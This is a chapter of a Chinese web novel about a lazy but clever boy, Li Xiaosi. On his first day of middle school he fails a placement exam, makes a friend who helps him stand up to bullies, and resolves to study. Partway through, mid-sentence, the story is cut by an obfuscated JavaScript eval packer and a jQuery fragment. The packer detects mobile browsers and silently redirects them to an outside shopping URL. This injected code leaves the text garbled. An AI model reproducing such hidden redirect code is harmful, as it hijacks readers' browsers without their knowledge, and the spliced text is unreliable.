九月的阳光还带着夏天的尾巴，明晃晃地照在县城的街道上。
李小四背着新书包，站在县一中的大门口，仰头看着那块挂了三十多年的校牌，忽然觉得有点紧张。
“小四，发什么呆呢？快进去！”
妈妈推了他一把，手里还拎着刚在路边买的煎饼果子，塑料袋里冒着热气。李小四接过煎饼果子，咬了一大口，含混不清地“嗯”了一声。
“到了学校要听老师的话，别跟同学打架，上课别走神……”妈妈絮絮叨叨地说着，从兜里掏出二十块钱塞进他手里，“中午自己买饭吃，我先走了，还要上班。”
李小四看着妈妈骑上电动车远去的背影，把剩下的煎饼果子三口两口塞进嘴里，抹了抹嘴，深吸一口气，大步走进了校门。
县一中是县城最好的中学，能考进来的都是各个小学的尖子生。当然，李小四除外。
他能进来纯属运气——今年招生政策变了，按片区划分，他家刚好在学区内。按他的真实水平，别说县一中，能考上普通初中都算超常发挥。
这事儿说来话长。李小四小学六年，成绩就像过山车，忽上忽下。聪明是真聪明，数学老师说过他脑子转得快，就是不肯用功。作业能拖就拖，考试能混就混，每次家长会，班主任都要跟他妈说同一句话：“这孩子要是肯努力，前十名没问题。”
他妈妈回去把这话转述给他，李小四就嬉皮笑脸地说：“那说明我还有很大进步空间嘛。”
然后继续打游戏。
但今天不一样了。走进县一中的校门，看着操场上那些比他高半个头的陌生面孔，李小四忽然意识到一件事：从今天起，他不再是小学里那个“聪明但贪玩”的李小四了。在这里，没人认识他，没人知道他以前什么样。
这是一个全新的开始。
这个念头让他兴奋了一秒钟，然后立刻被另一个念头击碎——摸底考试。
按照学校的传统，初一新生入学第一周就要进行摸底考试，用来分班。李小四暑假玩了两个月的游戏，连书都没摸过，一想到考试，手里的煎饼果子都不香了。
他一边胡思乱想一边找自己的临时班级。公告栏前挤满了人，他仗着个子小，从人缝里钻了进去，在三张红纸上一一扫过，终于找到了自己的名字：李小四，临时初一（7）班。
“七班……七班……”他念叨着，转身就往外挤，不小心踩了旁边一个人的脚。
“对不起对不起——”他赶紧道歉。
被踩的是一个高个子男生，比李小四高出将近一个头，皮肤黝黑，肩膀宽得像个小大人。那男生低头看了他一眼，咧嘴笑了：“没事儿，你也七班的？”
李小四点点头。
“我也是，”高个子男生指了指公告栏上自己的名字，“我叫王大壮。咱俩一起找教室呗？”
李小四看了看王大壮，又看了看自己。同样是十二岁，人家跟个铁塔似的，自己像个豆芽菜。他默默在心里给这位新同学起了个外号：大壮。
“我叫李小四。”他说。
“走，小四！”王大壮大手一挥，自来熟地揽过他的肩膀，“你知道七班在哪儿不？”
“我也是第一次来……”
“那咱俩一起找！”
两个人在迷宫一样的教学楼里转了三圈，问了两个老师三个学长，终于在三楼的拐角处找到了初一（7）班的教室。
教室里已经坐了大半的人，叽叽喳喳的像一锅粥。李小四找了个靠窗的位置坐下，王大壮就坐在他前面，转过身来跟他聊天。
“你哪个小学毕业的？”王大壮问。
“城西小学。”
“哦，我是城东的。你摸底考试复习了没？”
李小四干咳一声：“……暑假光玩了。”
“我也是！”王大壮一拍大腿，脸上的表情如遇知音，“我妈给我报了补习班，我逃了半个月的课，后来被发现了，揍了我一顿。”
李小四笑了，觉得这个新朋友还挺对脾气的。
正说着，一个戴眼镜的女生走了进来，书包上挂着一个小熊挂件，安安静静地坐在了李小四旁边。她看了李小四一眼，微微点了点头，算是打了招呼，然后就开始翻书。
李小四瞟了一眼她手里的书——初一的英语课本，上面密密麻麻写满了笔记。他又瞟了一眼她的书包，名牌，崭新的，连吊牌好像都还没摘。
“真用功啊。”李小四心想。
他又看了看自己空空如也的桌面，忽然觉得有点心虚。
上课铃响了。
一个穿着白衬衫的中年男人走进教室，头发梳得一丝不苟，表情严肃得像要去参加葬礼。他把手里的文件夹往讲台上一放，目光扫过全班，教室里瞬间安静了。
“同学们好，我姓马，是你们临时班主任。”他的声音不大，但每个字都清清楚楚，“在正式分班之前，这一周由我带你们。我知道你们都是从各个小学考进来的优秀学生——”
李小四听到“优秀学生”四个字，默默低下了头。
“但是，”马老师话锋一转，“小学的成绩代表过去，初中是一个全新的起点。这一周，我会观察每一个同学的表现，这些表现会影响到你们的分班结果。所以，我希望能看到你们最好的一面。”
说完，他从文件夹里抽出一沓试卷，分给第一排的同学往后传。
“现在，摸底考试开始。”
教室里响起一片哀嚎。
李小四拿到试卷，翻过来看了一眼，脑袋“嗡”的一声。
数学第一道题他就不会。
他硬着头皮往下做，选择题连蒙带猜，填空题写一个空一个，应用题看了三遍都没看懂题目在说什么。他偷偷看了看旁边的戴眼镜女生，人家已经写到第三页了，字迹工整得像印刷体。
李小四叹了口气，继续跟试卷搏斗。
两小时的考试，他熬了一个小时就写不下去了，但又不敢交卷，只好趴在桌子上假装检查。前面的王大壮也差不多，抓耳挠腮的，转过来看了他好几次，眼神里写满了“你会不会？给我看看”。
李小四摇了摇头，表示自己泥菩萨过江自身难保。
王大壮绝望地转回去了。
考试结束后，教室里炸开了锅。
“最后一道大题答案是多少？”有人问。
“我算的是17。”
“不对，是21，我验算过了。”
李小四默默听着，一个字都插不上嘴。他连题目都没看懂。
旁边的戴眼镜女生收拾好东西，忽然看了他一眼，轻声说了一句：“其实第三题用小学的分数运算就能做出来，不用想太复杂。”
李小四愣了一下，没想到她会主动跟自己说话。
“啊……谢谢。”他说，“你叫什么名字？”
“林小美。”她说，然后背着书包走了。
下午的语文和英语考试，李小四也没好到哪儿去。语文作文要求写《我的新学期》，他憋了半小时凑了三百个字，自己都觉得前言不搭后语。英语就更别提了，26个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444051|201071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字母他倒是认识，但凑在一起就不认识了。
考完最后一科，李小四瘫在椅子上，感觉自己像被榨干了的柠檬。
王大壮转过身来，表情比他还绝望：“完了完了完了，我可能要垫底了。”
“垫底也是我垫底，”李小四说，“不跟你抢。”
两个人对视一眼，同时叹了口气。
放学铃响的时候，夕阳已经把操场染成了橘红色。李小四背着书包往外走，经过操场时，被三个高年级的男生拦住了。
“嘿，初一新生？”为首的那个男生染了一撮黄毛，嘴里叼着根棒棒糖，上下打量着他。
李小四警惕地看着他们：“有事？”
“借点钱花花。”黄毛笑着说，语气像在说“今天天气不错”一样轻松。
李小四攥紧了口袋里的二十块钱。那是他明天和后天的午饭钱。
“我没钱。”他说。
“哟，还挺横。”黄毛往前走了两步，比他高出一个头，居高临下地看着他，“新生要懂规矩，知道不？这是给我们交的保护费，交了以后在学校的日子好过点。”
李小四咬着嘴唇没说话。他想起小学时也被高年级的堵过，那次他给了钱，回家没敢说，但后来越想越憋屈。
他不想再憋屈一次。
“我说了，没钱。”他抬起头，看着黄毛的眼睛。
黄毛脸色一变，正要发作，身后忽然传来一个洪亮的声音：“干嘛呢？”
王大壮不知道什么时候出现了，背着书包大步流星地走过来，站在李小四旁边。虽然他也没比黄毛高多少，但那气势一点都不输。
“我同学的钱你也敢要？”王大壮瞪着黄毛，嗓门大得像在操场上喊操，“要不要我去找政教处张老师聊聊？”
黄毛看了看王大壮的块头，又看了看周围陆续经过的学生和老师，啐了一口：“行，你们等着。”然后带着两个跟班走了。
等他们走远了，李小四才发觉自己的手心全是汗。
“谢了，大壮。”他说，“你怎么来了？”
“我看你走的方向不对，想着你是不是不认识路，”王大壮挠挠头，“结果就看到那几个人堵你。”
李小四心里一暖。开学第一天，他交到了第一个朋友。
两个人一起走出校门，夕阳把他们的影子拉得老长。王大壮的家在学校东边，李小四在西边，出了校门就要分开了。
“明天见！”王大壮挥了挥手。
“明天见。”李小四说。
他一个人走在回家的路上，经过小区门口的包子铺时，花一块五买了一个肉包子垫肚子。到家的时候，家里没人——妈妈还在加班，爸爸跑长途货运还没回来，姐姐在外地上大学。
他把书包往沙发上一扔，打开冰箱找了盒剩饭，给自己炒了个蛋炒饭。吃完洗了碗，又打开书包，看着那些几乎空白的笔记本和崭新的课本，发了好一会儿呆。
然后他拿出那张摸底考试的草稿纸，翻到背面，写了几个字：
“新的开始，不能再混了。”
写完又觉得矫情，想把纸揉掉，犹豫了一下，还是折好塞进了笔袋里。
那天晚上，李小四破天荒地没有打游戏，而是翻开了初一的数学课本，从第一页开始看。
窗外的月亮很亮，照在他小小的书桌上。他知道，明天摸底考试的成绩就会出来，他大概率会考得很惨。
但他也忽然觉得，惨不惨的，好像也没那么可怕了。
毕竟，这才刚刚开始。